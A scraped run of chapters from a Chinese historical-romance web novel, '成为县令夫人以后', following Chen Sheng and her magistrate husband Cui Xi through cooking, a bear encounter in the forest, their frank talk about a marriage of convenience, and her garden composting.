崔息扯了扯嘴角,但没有说什么,他四处望了望,这是密林里开辟的住处,周围的草木高度呈现缓慢的递增,说明这里可能是最低矮的地方,选在这倒是用过一番心思。 只是天晚,湿冷的密林里愈来愈黑,绿色的叶片化作墨影,风一吹四处又响起诡异的呜咽声,叫人听了汗毛倒竖。 阿木凌带着他们走进木楼,火光把三个人从无边际的阴霾里剥出来,只留下本身携着的一团影。 崔息发现这里没有桌椅,坐的地方只是一根粗大的木桩。房间里最显眼的是那团暖洋洋的火,它被安置在屋中间的火塘,这火塘大且深,上面有一个吊锅在沸腾,里面有隐约的松香。 “喏,喝些热的。”阿木凌给他们发了粗陶碗,这陶碗形状滑稽,不知道调泥拉坯的师父是否喝醉了酒,做得如此漫不经心。 “诶?我的呢?”陆笙坐在火塘边,将手伸过头顶讨要。 “陆笙不准喝,做了饭才能喝!”阿木凌恶狠狠地说,但马上又笑,这是她生气到极限了,那股气破了只觉得好笑。 “古怪的土人。”秦厌不明白土人怎么喜怒无常的,端着松针水嘀咕了一句。 阿木凌的耳朵很好,陆笙看到她鼻子皱起来立马抓住她的手说:“做饭做饭。” “白牙齿的狗。”阿木凌对陆笙气鼓鼓地说。 在阿木凌的方言里“白牙齿的狗”其实有笨蛋帅哥的含义,但两个上京人自然不懂,所以为避免耽误吃饭,陆笙选择把他们两个拉开距离。 “我喊他们去劈柴,我们做饭,他带了鸡肉、猪肉还有羊肉,吃不完的都给你。”这话把阿木凌劝服了。 来到阿木凌熏肉的小间,陆笙挑了一块带骨少肥的瘦肉排骨。阿木凌问为什么不选油花多的,没有必要这么节省。虽然陆笙答应的那桩交易没完成,但吃这口肉还是可以的,更何况那两个人还自己带了吃食,做人不能太贪心的。 “他们不爱吃。”陆笙言说得直白,脂膏多是香,但熏肉香味霸道复杂,她怕呛到那俩。 把肉拿出来,陆笙在火塘上将熏腊肉四面烤制,阿木凌家的熏腊肉都是用松柏枝熏的,别人说松烟可入墨,但陆笙写大字不灵光,所以她心理上多赞同阿木凌的松烟熏肉。 别看这块肉现在看上去漆黑的一块,切开时却有近乎透明且细腻的脂膏,瘦肉变成可人的富有层次变化的胭红,如粉黛之色。 陆笙问阿木凌借了一把小刀,皮子上的黑灰被她一刀刀刮去才将其下水。那只秦厌拿来的足年公鸡则被她用稻绳扎好赛到了陶锅里,水沸腾后她又往里加了一把鸡枞干。 陆笙看汤头一沸立刻将盖子盖上,还倒了一些水密封,这个装鸡的陶罐子被她直接放在拨了几块炭过来的火塘边,这样的火候能把鸡肉炖烂。而里头的干鸡枞不仅能吸收了鸡肉的甘甜与肥美,还可以释放出属于自己独特的气味。 阿木凌更喜欢泥壳裹鸡,用木姜子汁腌过的那种,但今天时间不足,吃汤也很好。 “吃地龙羹么?”阿木凌手上的银铃晃动,年轻的面孔上绽出纯真的笑容,但陆笙连连摆手,本地教化之官在此,被看到要说瘴气之风太甚的。 哪怕陆笙的理智会告诉她这是一种偏见,当初阿木凌给她吃地龙羹的时候她差点把汤喷出去二里地,那时候她方才发现,原来人的习惯是最根深蒂固的东西,比脑子里那些习惯性想法还有坚固的是一天三顿吃了无数日的食物。 嗯,把地龙和鸡肉炖煮可否叫龙凤呈祥呢?陆笙想完立刻晃晃脑袋,把这抽象命名法晃了出去。 崔息和秦厌这时候在木楼的背风处砍柴,秦厌嘀嘀咕咕地往外蹦字,最后问崔息一句:“公子,咱们怎么在这砍柴了?” “做了县官,就应巡县采风、教化民众、劝课农桑。” “这跟砍柴有什么关系?” “算……沟通之法。”崔息尽力用体面的词汇描述。 "哦,明白了,就是没人听公子的。要不说这里贬谪的官都不来,离京畿之地太远。"秦厌拆台得很彻底,崔息无奈,无怪丰娘怒起来要叫他田舍汉。 但,他说得也没错。 “那公子治好了此地,便宜的还不是……”他又用手指往天空方向戳了戳。 崔息摇摇头,他并不赞同这种说法,但一时间找不到更合适的说辞。自从事发以后自己心随境转,如今言语都不如从前锋利了,不再是挥斥方遒的意气公子,又或许从前的自己仅会纸上谈兵。 “砍柴吧,她还做了菜等我们。” “嗯!笙姐姐的菜好吃,根本不比宫里的差。”说完他立刻捂嘴,后面又突然放声大笑,这里喊出来也没事,谁管你什么宫不宫的,山石树木、鸟兽虫鱼根本不在乎。 两个人又卖力砍一会儿,陆笙从门缝那道光里探出头喊:“吃饭 7. 第 7 章 《成为县令夫人以后》全本免费阅读 黑夜将山林吞没,陆笙躺在铺着狼皮子的床上,身体在被窝里一点点积攒暖意,她睁着眼看屋子里的炭火。 炭火的红丝时隐时现,阿木凌曾说那是风在呼吸,她又问阿木凌,那风是夜的喉嗓吗?阿木凌愣了一下说:你比我们大巫还能编。 一些往事被陆笙回忆起,就像炭被木头烧灼发亮,她脑子里胡乱地转出些事情琢磨,又琢磨崔息会来找自己说话吗?看他的脸色那么是被戳破心事,要么是感到名誉被诋毁。 诶,不行,太好奇了,陆笙在床上滚了两下。她平生素爱八卦,就算在宅院里也要抓着人聊的,现在这个大瓜放在面前不吃,难受。 只是与结婚那夜不同,今夜她的大脑安全感很高难以负荷疲惫运转,而且热热的被窝像梦的韵律,热似波浪一阵又一阵,又好像随着风的呼吸这么一暗又那么一亮。 实在支撑不住了,陆笙放弃抵抗,蜷起身体裹紧被子进入梦乡。 门外寒风肆虐,崔息也没睡,他睁着眼睛发呆。他没跟阿木凌说陆笙是自己的夫人,更没说自己就是那个被传断袖的县令。谁能想到呢?这无头无尾的瞎话传这么开,密林子里的土人都能听到,那刚才自己和秦厌的对话会被传出去么? 不不不,想岔了,崔息摇摇头,自己应该想怎么就被谣传成断袖呢?陆笙信么?又要不要解释呢? 这几天看她似乎并不在意分房的事情,她对自己没夫妻之实的盼望,那是不是断袖也并不重要。 崔息把事捋顺,翻个身准备闭眼睡觉,明天他们就要回程,后天要继续判案和看卷宗,税收的问题还没查验,县衙的流外官也没熟悉,县中乡绅大族的贴还没下…… 他想着想着睡意越来越少,直至最后完全清醒。窗外头的风俄而狂作倏忽渐息,它也将夜枭的叫声拆扯破,崔息被这种不常听的声音扰得卷了卷被。 忽然,一记“咚”得摔门声得从头顶炸开。那声音近在咫尺,崔息快速判断然后眼睛猛地把眼睁大,弹似得起了身。 但除了风声,木楼静得诡异,秦厌的呼吸声跟着炭火时明时暗,崔息没有喊他,自己取剑摸黑上了楼。 陆笙的房门果然开着!他心突跳。 “陆笙!” 崔息急急地喊一声,里面却没有应答。侧耳听了一会儿,里面依旧静悄悄。崔息腰腹部发力一个翻身悄无声息地滚了进去,但除了炭火痕迹,其他什么也没有。陆笙之前告诉过他,对木楼有威胁的一般是动物,熊、狼都有可能,但冬天熊在冬眠所以放心大睡就好。 在他紧急思考的时候,一道光破了黑暗,他打眼一看原来是阿木凌,她披散着头发,手拢着油灯里的光,脖子上不知道缠了什么被夜风吹动着。 “你做什么?!”阿木目面露凶光,眼瞳非人似得竖起,好像一条蛇。 “我……”崔息还没辨别,看到她脖颈之间那条带子缓缓落地,然后蜷成一团,脱离了灯下黑,蛇信子一吐一吐,居然是一条蛇!崔息剑已从袖中脱出,掌心握住剑柄随时应对。 气氛一时剑拔弩张,唯独陆笙好眠,但阿木凌却依旧朝着陆笙的床榻叽里咕噜说了一通。陆笙捂住嘴的手放开,她哈哈大笑对阿木凌说也叽里呱啦说了一通。 阿木凌的脸发红,突然拽着那条凶恶大蛇的尾巴离开,脚把木板踩得噔噔作响。 “她怎么了?”崔息却不明白。 “以为我们半夜偷情。”陆笙朝着衣冠不整的崔息大方一笑,并不觉得羞耻似的,又点上灯问崔息大半夜跑上来做什么? 崔息却听得沉默,没想到“偷情”这两个字居然能贴在自己身上,自嘲一笑后他说:“你的门不知怎么就开了,我以为发生了什么事。” 陆笙“哦”一声答:“没事的,只是风大。” “好,夫人当心。”崔息又恢复他云淡风轻的模样,点点头迈步准备离去。 在他关门之前,陆笙忽然开口:“崔大人,您口中时常夫人来又夫人去的,那你把自己当我夫君么?” 崔息想说“当”,但话说不出口,彼此互为当事者,一个“当”字糊弄不了。 “你不愿意做我的夫君,又偏偏如此照顾我,崔郎,你有愧还是心中有鬼?”陆笙托着下巴,懒洋洋地打了个哈欠,她的眼神虽不如阿木凌凶恶,但话却绵里藏针,一针就探出几分虚实。 “我不是。” “什么?”透过那一条缝的声音被挤压过,陆笙听不清。 崔息开门进来,用自己的背将两扇门靠住,他看着陆笙的眼睛说:“我没有断袖之癖。” “那你为什么娶我?我一穷二白崔大人不是掩人耳目又是什么?”陆笙抓住了主导权,逼问他。 “是各取所需,四年后我会出家你得自由。”崔息对那张工匠卷子的疑惑去了大半。 “什么?”陆笙瞪大了眼睛,难道是被无法违抗的命令催婚,然后随便选的人?而正巧自己又在他面前刷了次存在感。 “出、家。”崔息再次重复,掷地有声。 陆笙大脑飞速思考,将事情前后捋了一下觉得勉强说得通。他和自己睡在一起但真的就是你占左边我占右边,一点也不越界不勾连,还坚持要分房。又怪不得沈管事夸的词都是“仁慈”。 崔息的直觉告诉他,跟陆笙坦白似乎是良好的开端。果然,陆笙听了自己的话不再那么敌意,她偏头思考着说:“我的家乡有一种关系叫搭子,那我和崔郎就算夫妻搭子。” “搭子?”崔息不太理解。 “譬如划船,你是左船桨我是右船桨,而崔宅就是小船,崔宅之外是广阔湖海,我们同舟共济,是朋是友。” 陆笙的比喻一如既往地新奇,崔息背靠在门上朝她点头,这事居然被推进了,本来他打算再熟悉一些以后托出。 只是崔息脑海里又马上浮现她叽里咕噜的那段话是讲自己和她“偷情”的画面,还有她笑眯眯弯起的眼睛。陆笙似乎很不在乎自己的名声似得,但是又非疯癫,他很羡慕。 等崔息走后,陆笙把门栓上。 她没有说实话,被风吹开门不是常事,只是因为自己忘了上门栓,她之前笃定他会因为某种责任而来,但他却没有。盆里的炭火冷却了一些,陆笙不再思考赶紧钻进去继续睡,快睡着的时候心里滑过一丝觉察。 不对啊 8. 第 8 章 《成为县令夫人以后》全本免费阅读 这个时节怎么会有熊?!它应该在冬眠才对!陆笙脸上的红还没消退,眼睛瞪大。惊恐交加时崔息忽然握住她的手,声音一如既往地宁静,他说:“夫人,我们是不是应当走慢一些?” “是,我们该走慢一些。秦厌你面对我们,慢慢往后退着走,记住要和它对视,看着它的眼睛。”陆笙很快镇定下来,对秦厌叮嘱。她曾经被熊跟过,但从来不是这种时候。 秦厌压住心底恐惧,咬着牙点下了头,问:“笙姐姐,我们要不把马放回?” 陆笙看着身边的马,确实躁动不安,她有些懊悔也有些恼怒,怎么自己没有发现呢?难道因为这片地方是阿木凌巡视的就松了警惕? 她拍拍马驹的脸,又朝着它的背拍两下,马儿十分通人性地迈着小步离开,熊在身后注意到了这点,它发出一种奇怪的叫声,断裂如虚线延伸的吼叫。 被恐惧攫取后,每个人的耳朵都变得异常灵敏,大家都能听见熊踩断树枝的声音。四周的林子上还有湿冷的昨日融化的雪水,风一吹就像山蚂蝗一样跳上人的背颈,冷嗖嗖得叫人打激灵,仿佛三魂七魄都要从天灵盖冲出去。 “秦厌,不要怕。晚上我给你做渍梅排骨,但不能让你白享受,你现在学我叫阿木凌那样,手放在嘴巴两侧,然后向那头熊的方向吼一声。” “好……好。”秦厌照着陆笙的话动作,但发出的吼声并不连贯,他面露惊喜:“熊没有刚才那样快了。” “嗯,做得好。把你的剑解下来给我。”陆笙继续指示。 秦厌犹豫,武器是保命的利器,但笙姐姐这样说自有道理。他手摸上蹀躞带的时候却看到公子自己把剑解下递给陆笙,秦厌视线里熊快跑了两步,他赶紧继续吼叫。 “夫人,我托沈管事带了药回来,晚上我拿给你。沈管事说做房的事情不能马虎,一听有木材来源立刻去州府请匠人,到时候你想用什么样式的门户都可以。” 陆笙知道他说的是自己身上还没好全的伤,这样的镇定的崔息让人安心,大吵大闹会让熊变得富有攻击性,你不害怕它的时候它也能感受到。 “崔郎想吃什么?” “排骨莲藕汤吧,辛苦夫人。”崔息微微低头朝着她笑,他笑得很平静,也很绝望,陆笙在这瞬息里读不懂。少见的,这一次崔息摩挲了一下她的手,但是冰凉的指尖并没有带来多少温热。 这时候秦厌喊得已经越来越大声,声音近乎于狼吼,他的脑门上已经遍布冷汗,陆笙知道熊越来越近,或许终不免一死,她的手紧紧握住剑鞘。 “笙姐姐,它……它身上有血。”秦厌说完像是给自己打气似得吼了一声,声音大得将四周隐匿的生灵都逼迫出来。不过很快秦厌的表情由悲转喜,他激动地说:“它……它走了,走了!!” “我们再走一段,它不再跟就应当是脱困了,秦厌不要停,再吼两声。”树林子里秦厌的吼声回荡,不远处再没出现树枝折断的声音。 陆笙知道没事了,于是她挣开崔息的手,走到秦厌身边拍拍他的肩膀,鼓励他:“做得不错!”秦厌在她看来是二十岁还没过的孩子,做成这样已经很了不起。 三个人保持着队形走了一段才松懈一点,等把山路走到只剩一小半时候气氛终于松快一些,陆笙却愁眉不展,照理说阿木凌应该听得到秦厌的吼声,难不成她遇到了什么事情么?她记得秦厌提到熊身上有血。希望不会是阿木凌的血,也不该是她的血。 只是“天地不仁以万物为刍狗”,陆笙来到这个世界,对这句话体会愈发深刻。在她思绪混乱时一声熊吼把她的神经重新紧绷。 熊吼在不远处,但不在后而在前,所以它是绕过来捉弄了他们?陆笙的额头也开始冒冷汗,这件事细思极恐。 吼声回荡还没结束,熊影飞似得朝他们扑过来,尖锐的牙齿上挂着涎水,它的眼睛带着诡异的红。陆笙这时候反应最快,抽出剑挡在两个人面前,嘴中又发出古怪的声响,仿佛巨蟒吐信。 崔息则按住要秦厌要拔剑的手,他看得出熊在陆笙发出古怪声响后停顿了,它似乎在判断。这时候刀剑出鞘只会让它重新陷入癫狂,他深深看了一眼自己的配剑和陆笙的背影。 可熊只是迟疑了片刻就朝他们狂吼,吼声带着一股腥风,三人的心理防线如狂潮里的一叶小舟马上就要被吞没被攻破。 大熊突然动作,陆笙凝神应对,扑过来的刹那她却被崔息扑倒,倒在地上的陆笙惊惧交加,甚至不敢相信,崔息在做什么?! “你疯了吗!!!”陆笙骂他。 崔息不说话,只是缓缓起身,还整理了一下衣袍。陆笙反应过来了,转过头看到阿木凌捂着自己的手臂,脸色很难看地对她笑。而那头熊却躺在地上,它被木枪射穿了心脏。 “骨头碎了,用了那个法子。”阿木凌看陆笙的表情解释。 之后她们两个人站在熊旁边用听不懂的叽里呱啦的土人话吵嘴,崔息则绕着熊走了几圈。 这头熊其实很瘦弱,毛皮也不光亮,但出奇地大,是冬眠时饿醒了么?又看到它的皮毛上粉红点点,似乎是碎肉。 “公子,这不会是……”秦厌捂着嘴,一副想要呕吐的表情。 崔息点点头,指着它皮毛上那些带血的碎布肯定地说:“是的。” “那叫人来搬吧,到时候肯定有人报案。我们得给大伙一个交代。”秦厌恨恨。 “不准搬!是那些人该死!!”阿木凌听他们的话反应尤为激烈,眼睛也泛起一股红,是如焰的暴怒。 “你这个人怎么这样,熊都杀了人,你在说什么呢!以后它会杀更多的人!”秦厌觉得这个土人根本说不通。 崔息也皱眉。 陆笙摸摸阿木凌的头安抚,自己向两个人解释:“这地界一般没人来,除了捕熊人,千不该万不该的是他们在冬日来,这头母熊在养小熊。” “他们在冬天杀了小熊!”阿木凌补充,她恨得咬牙切齿。 崔息想到洞房夜那天自己看的文书,这几年永平县突然出了多起熊伤人、致人死亡的案子,可受伤的人多是平民,受伤的时间也是春季。文书里并没有捕熊人这一记录。现在看来这文书里大有文章。 陆笙看到他在思考心里有些忐忑,她能理解阿木凌,可他们两个呢? “冬天杀熊?为什么?”秦厌狩猎好多次了,但没听过冬天去的,秋收冬藏,休养生息,这个道理这些人不懂么? “哼。”阿木凌不说话。 “此事我会查清楚,那这熊尸就留给你处理。” “说大话,你是谁你就查清楚,你们县里来的就是会说大话!”阿木凌气鼓鼓的,她才不相信这个男人能查清楚,看起来一点也没威慑力的小白脸。 “我们公子是……”秦厌想急证身份,崔息却瞥他一眼,意思是闭嘴。 9. 第 9 章 《成为县令夫人以后》全本免费阅读 陆笙这些天每日都被沈管事喂安神汤,但她没一个觉是好的,有时候是因为噩梦,有时候是因为不知道哪里养的鸡,叫声嘹亮得很。 她向府里婢子仆役都打听过,他们都说不知道是谁家的,但被吵醒的人不少,还有人因为这只鸡吵架。 陆笙兴致勃勃地问吵什么,仆役说吵的是怎么做它好吃,是清蒸还是红烧。陆笙听了直摇头,不行,太缺乏想象力,阿木凌那道木姜子泥壳鸡才叫特别呢,她又随口给这道菜起了个诨名,凤凰涅槃失败版。当然,如果站在鸡的视角,应该叫烈火地狱版。 陆笙醒来的时候崔息又已经去县衙办公,也不知道他是效率低还是真事多。 有时候陆笙睡着了他都没来睡,醒了人已不见踪影,只有微微温热的另一边床告诉陆笙,他昨夜曾睡过,温热的衾被不断将他身上的檀香味散到陆笙的鼻尖。 在床上滚了几圈,陆笙估摸着她收的那些东西今天应该齐全了,于是马上爬起来。今天她一定要决定要告别安神汤并正式开始养地! 加油,种田人! 穿衣服的时候她又感慨,宅内主妇这种自由职业实在太容易因为一时心境冲撞而失去时间表,一不留神就要养成自己那一副懒骨头,但懒骨头怎么不是福气?万一哪天嘎嘣了,吃甜不吃苦也不错。 想了自己她又奇怪崔息,一个四年后要出家的人怎么还如此积极入世刷政绩,不是不想晋升么?难道对口不对心,在跟自己说瞎话?也不像,他有点真话不全说,假话全不说的意思[1]。 天杀的,不要再想了,陆笙给我停止社畜病!她愤怒地对镜子里的自己挥拳头。 厨间门口,陆笙遇到沈管事正在那喊人搬东西,她看到陆笙过来关心地问:“夫人想吃什么?新买了几种酱菜,若夫人爱吃羊肉我再差人去买。” “我自己做吧,沈管事吃了吗?没吃我也给你做一份,就是今天想做煎饼,不知道吃不吃得惯。”陆笙说着就开始找东西,旁边的两个婢子有些慌乱,夫人也不说要什么她们只好站在一边。 沈管事施以眼神,两个人婢子走出去后她耐心地对陆笙说:“夫人,以后要准备什么叫婢子去准备就是,您这样她们是为难的。” “嗯,多谢沈管事。”陆笙从善如流,心里却想:建自己的小屋子果然迫在眉睫。 独属于自己的屋子啊,想想就美!她又做梦,计划要是以后慢慢攒多了钱就去大州府买屋子,然后时不时就去看经变,坐在茶博士那听八卦,再顺手编几个故事换茶吃,爽!就是有些寂寞,可……呸呸呸,这早上脑子怎么还有颜色。 “阿灵、阿椒,准备一斤麦粉,一个铜盆,再来些洋葱还有肉馅,火等会儿烧。”陆笙朝外面吩咐下去,声音中气十足,两个婢子点头称是。 沈管事觉得陆笙孺子可教,露出欣慰的笑容,又提了一嘴家中翻建的事,说匠人已经在处理木材,夸陆笙眼光好手段巧,弄来的木材根根都是顶好的,还免去了阿郎与当地乡绅酒席间推杯换盏的应酬低头之苦。 她又说:“娘子,到时我叫人出些花样给你瞧瞧,你喜欢什么样的尽管挑,不管是花还是鸟与鹿这些匠人都会的。若娘子能说动阿郎画,那更是极好,阿郎是精于画技的,一些寺院主持还会亲自来请他去画壁。” 陆笙注意到沈管事突然对自己改了称呼,感觉应该是亲近的意思,又想她似乎在循循诱导自己,要多对崔息笑,又要他继续创作,很像心理疏导手段。 “嗯,我会的。有劳沈管事。”陆笙看着两个婢子忙碌时不时躲让一下。 “到时候这厨间会加大,娘子就不会如此不自在。我一点儿也不苦,只要阿郎和娘子好好过日子,我做什么都是应当的。”沈管事难得感慨一句,说完脸上又重新换上看不出情绪破绽的笑。 陆笙好佩服,沈管事要是在现代,高低是一个霸总,不知疲倦,懂得用人,调度有方,情感策略无一不佳。 又和沈管事聊了几句,陆笙终于挽起袖子开始做饼。 麟国和唐代很像,主要的碳水来源就是小麦和大米,永平镇自从前朝由铜矿兴起以来大量的北方人来此居住。 迁徙又带动了这里的百姓耕种小麦,但是种地这事也是技术活,所以这里小麦的质量参差不齐,官宦人家常吃的麦粉是从州府那运过来的,香味浓郁粉面干净,当然,价格也很高。 为了对得起这高价,陆笙仔细地掂了一下面粉的重量,然后小心地加入适量清水揉面,她的技术还不到家,根本不如老庄,经常面多加水,水多加面的。 “夫人这是要做什么?”阿灵见沈管事走了便跟陆笙攀谈起来,她性格活泼些,陆笙又经常和她们聊天,所以并不很生分。 “麦煎饼,你们吃了吗?没吃待会儿分你们俩一个!” “谢谢夫人!”两个人异口同声,大家都知道夫人做饭好吃。 揉完面便要醒面,这个天气醒面慢一些,陆笙就让阿灵在灶台生小火,铜盆放附近,上面盖一块夏布。看着这璀璨发光的铜盆子陆笙都有点想抱一抱,因为它看起来贵贵的很可爱,一定能换好土地,好土地又产粮食。 抛开愈来愈古怪的想法,陆笙叫她们帮忙看着铜盆子,自己则拿了砧板开始切洋葱末。只是洋葱什么都好,就是切了容易哭。 秦厌来厨间寻摸吃食的时候就看到三个人在那擦眼泪,眼眶红红却并不伤心,他满脸疑惑地问:“怎么了?”不成想没多久自己的眼眶也开始红起来,一股冲人的味道自鼻腔发力,让他眼泪满溢。 “我不会看不见了吧?我还没娶妻我翩翩人才年华正好啊!!”秦厌这话一出陆笙就笃定他是个不入庖厨的主。 “只是被洋葱熏着眼,马上就没事的,你快出去。”陆笙边哭边搅拌肉馅。 自己哭着做完肉馅,面团也差不多发酵完毕,陆笙擦干眼泪拿着软乎乎的面团开始贴着盆边用力。发酵的面团里有气体,气体形成一个个泡,推揉的时候会发出排气的声音。 秦厌抱臂在一边看得津津有味,又说自己也已经学会了,等今年元日亲自下厨给陆笙和崔息做一次。 陆笙笑眯眯地答应了,但吃是不会吃的,非要吃的话就让崔息平静地吃完,平静地崩溃,平静地闹肚子吧。 “那到时候可要好好吃你做的,这不会是你第一次下厨吧?” “也不是,之前不小心烧过烧破了院里的灶台以后公子就不让做了,我这次偷偷做,吓他一跳。” 好嘛,就怕到时候也全是惊吓没有惊喜。 陆笙笑咪咪地憋坏水,手却不停歇,将面团揉光滑以后揪成一个又一个的小面团,然后擀开加调好的馅,一片小小的面团被她加了一拳头大的馅,面皮堪堪把馅包住却不漏,隐约还能见到里面的馅料。 这还不算完,她又将这吹弹可破的团子擀成大大的一片,接着拿擀面杖把如若飘飘衣袂的面饼下如大平锅,灶火 10. 第 10 章 《成为县令夫人以后》全本免费阅读 “对,全都埋进去!”陆笙擦着汗站在旁边说道。 沈管事不解问她:“娘子这是要做什么?只听过使夜香浇菜,没听过埋鱼肠烂菜叶的,娘子又将坑挖这样深?”她站在一块石头上微微踮脚,她估摸着土坑深有三尺。 “这法子是我往南边走镖时得到的,据说是那遥远天竺传来的,想着这些东西价格低贱便买得来试一试。”陆笙没有把“堆肥”二字直接说出口,而是胡乱编了由来。 其实堆肥这事古代农人已有用之,上京这样的超大城甚至有专门收集夜香的行当,但此处地偏,铜矿发现之前还是刀耕火种,就连水稻也是几十年前才大范围开始种植,最早是吃薯蓣和野生糯稻偶尔也会吃雕胡米[1],这里普遍使用的是人和动物排遗物,用鱼肠确实没有。 “娘子走镖见多识广,我自愧弗如。”沈管事谦虚地说,她随阿郎走了千里,云和月、风与光都看了不少,但对陆笙这个能干又细心的小娘子还真挺佩服。 “沈管事谬赞。”陆笙摆摆手,又喊人将自己做的一半缸水洒进去,她仔细吩咐要一层鱼肠一层烂菜叶再加一层土,三层为一体后洒上半竹筒的淡黄色半透明液体。 “这又是何物?”沈管事看着那液体颜色鼻翼动了动,她听闻种菜施肥的原料不外乎那几种,用起来应该是有味道的。 陆笙摸摸鼻子解释:“这是在那书上所写的生息水[2],用淘米水、蔗糖、牛乳做出来的。” “原来如此。”沈管事点点头。 陆笙觉得沈管事也挺有礼貌的,要是其他人听了多半会觉得她在乱说话,这些东西和鱼肠烂菜叶能变成什么呢?如果说腐草尚且生萤,那这些怕是鬼都生不出来。 崔息回来的时候看到正看到仆役正休息,手里托着碗靠在墙根喝汤说笑。他一闻,是她做的莲藕排骨汤。 大家以看到县令回来,都收敛了笑,站起来毕恭毕敬地问好。崔息点点头,向仆役问夫人在何处,仆役答在后园。 缓步来到后园,放眼觉得这里并没有什么变化,甚至更加光秃。原来的那些衰草都被人拨开,现在只有一片黄土和一片衰败的池塘。沈管事陪着陆笙在往一块块土地上插竹签子,那竹签子上好像还写有一些字。 “崔郎回来啦?今天这么早?”陆笙直起腰,看到他穿着青绿的官服忍不住揶揄他一句,她早就知道县令的办公时间并不长,上到日中就可以放衙的。 “嗯回来了,阿乐在忙什么?”他走过去扶了陆笙一把。 沈管事不打扰两位如胶似漆的新人,抿着嘴告退了。陆笙听崔息这样喊颇有些不好意思,叫她阿乐不如叫夫人,奈何他又没有套近乎的心思,只是秉承着莫名的责任感。 “在学方士点石成金,将这贫土作息壤。”陆笙干脆以上古神话来为堆肥做加持。 崔息不再多问,陪着她走回去,接过婢女的水壶为她倒热水洗手。 “今天这么早回来,有什么事情?是问土人与土人之分?”陆笙开门见山。 “嗯,我翻遍了县里的记录,关于土人全都没有加以区分,只有两个字,虽说记事里依稀看出些不同但还是模糊,所以特地来请教阿乐。” 崔息说话的时候陆笙在弯着腰洗面,他的身体微微凑过来,身上一如既往散发出淡淡的檀香味。其实现在陆笙的衣服也常有这样的气味,尽管他们的衣服沈管事是分开熏的,可待在一起总有沾染。 陆笙直起腰,崔息立刻递给她一块手巾,他身姿挺拔,官服加身像一棵绝壁孤松,玉树凌风。 “好,我跟你说,不过回报呢?”陆笙伸出手向他讨要。 崔息忍俊不禁,他笑得时候总微微低头,长睫朦胧眼眸。陆笙却看不明白,这不是交换么?他笑什么呢? 看陆笙皱眉,崔息减了弯唇的弧度,立刻允诺她:“好,阿乐教授我,你要什么,只要我能给,我都给你。” “一言为定!”陆笙下巴一昂,说完立刻叫崔息去定几样菜。 讲之前崔息颇有些成竹在胸,但陆笙讲得越多他眉头就越紧一分。 原来这永平县其实在前朝叛乱时已经扩充合并过,就连她也不清楚到底有多大,走镖是往繁华的北向走,且县城又在永平县的最北端,这就意味着在南边的地方和事情是未知的。 “难道直接连接了夜廊?”崔息于地舆一道不精通,听说有精熟者走过多少山便于心中有勾勒,自命胸怀乾坤,一些大将身边必带此种人才,但也有不走正道者,用此术掘地三尺盗挖先人遗物,取黄白之物。 陆笙摇摇头表示不知道,她对地理不太了解,只知道山连着山,而流水勾勒出大致分界。 “有时候也会好奇,人怎么就落到了这里繁衍生息,难道人人都是蒲公丁?一朵又一朵地随风飘,又如浮萍。我以前还想着登山俯瞰一番,但到现在还没做。”陆笙说的时候带着一股淡淡的沧桑,见证过现代和古代,她觉得人力真是渺小又伟大。 之后两个人说到有哪些路出去,陆笙说原本山路有好些,水路也有一条,但出了些问题。 “文书记录的是山滚石堵住了,又因铜矿已采尽便不予疏通,只走陆路。”崔息的记忆力很好,细枝末节全都记得很清楚。 陆笙没有多说,摸摸肚子问什么时候吃饭?崔息向她致歉,叫人将吃食端上来。他定了清蒸的鲜鱼、炙烤的羊肉和清炒韭菜。这鱼是市场上的紧俏货,只有冬季有,不知道从哪里游来,肉质紧实鲜甜又少刺,永平县的人叫它莫猜鱼,除了价贵没有别的缺点。 陆笙夹了一筷子,鱼肉是味美,但这黄酒品质一般导致它没有驯服姜味,有一股多余的辛辣。 吃的时候崔息欲开口说什么,但陆笙拒绝吃饭的时候谈工作,说了句“食不言寝不语”堵住他的嘴。 可她吃着吃着却忘了自己的警句,叹了口气说:“听闻上京冬季也有甜瓜,崔郎是否吃过?” “吃过,栽种甜瓜的地方有温池,冬日土摸起来温热的。” 陆笙面露向往,在古代就是这一点不好,反季节的食蔬价高,像崔息口中的甜瓜不知要多少银钱。他也果然是什么皇亲国戚,能吃上这一口。 开了话匣子, 11. 第 11 章 《成为县令夫人以后》全本免费阅读 这是崔息是第一次来陆笙的家,先前只是遣仆役和秦厌来过几次。 陆笙的家并没有挂匾额,是无门楣的寒族。虽然不是高门士族,但崔息却以为她家自有独到之处。 譬如即便岳丈开着门守候,但自己不能从门口望进屋子里头,她家门口十步后有一壁。这壁非巨石,而是由山石堆叠而成,上面还点缀着蕨草青苔。它们在冬季依旧保持着翠色,很是喜人。 壁后面是与其等长且偏的木质小箱,做了檐,一半关上一半掩着,门上定了钉,钉上挂了些农具,看起来很是整齐。 再后面就是一个院,里面有被木板与砖石路分开的菜地与花地,但又非棋盘格状。它里头有以大盆大罐养的花草,也有堆叠的小山石,互相呼应,深浅成趣。 崔息想约莫是她走镖时路过好看就顺手揣回来的,阿乐有随遇而安的天赋。 “大人,请。”老庄在前面带路,引他去小堂屋。 上堂内一般要走三步台阶,崔息初来永平县时不解,后面才明白这是因为此地湿冷的缘故。今天阿乐家又有不一样,她家要上十步台阶。 待他进去一看,更是不得了,这是崔息从没见过的工法。。 陆笙看他呆住,不由自豪感这下沉结构在永平县仅此一家。 这做法看起来就像把房子地面破开,然后往下挖出一个正方形,这正方形靠墙一侧做壁炉,下挖的正方形高度有八十公分。 这里湿冷本不合适往下,但是配上壁炉和石头加以改装那就不一样了,石头能吸收热再放出来,壁炉的对面她就用石头堆叠的,这样冬天窝在里面就会很暖和。 “这是冬天吃饭的地方,春夏不在这的,是我们阿乐想出来的法子。每年等春夏就用机关把这封上,上面还可正常走人。阿乐说这个叫壁炉,但我叫它半个坑,我从前住在西域的高昌,那里胡饼烤制的地方叫饼坑。”老庄向崔息得意地介绍陆笙的杰作。 走进去,里面果然暖和,崔息发现那所谓壁炉的火塘建得很是考究。 “大人请喝茶。”老庄把放在壁炉里的长柄粗陶壶拿出来,里面是已经沸腾的开水,茶碗里面放了些褐色的叶子,不知是什么茶。 崔息用手接茶,但是没有自己喝,反而两手奉茶给老庄,老庄吓得看了一眼陆笙,陆笙朝老庄点点头后他才放心接下,陆笙也奉了一杯。 “贤婿太客气了,我老庄不过是忝列人父,阿乐这样聪慧的孩子不随我,她其实有个好家世……”老庄一饮而尽,不知道从何开始说起。讲到一半又想起陆笙并不喜欢他这么说。 “欢喜的日子不说这个,我去烤肉!你们俩先坐着。” 老庄出去没多久,两个人听到他在外面自言自语似得说话。 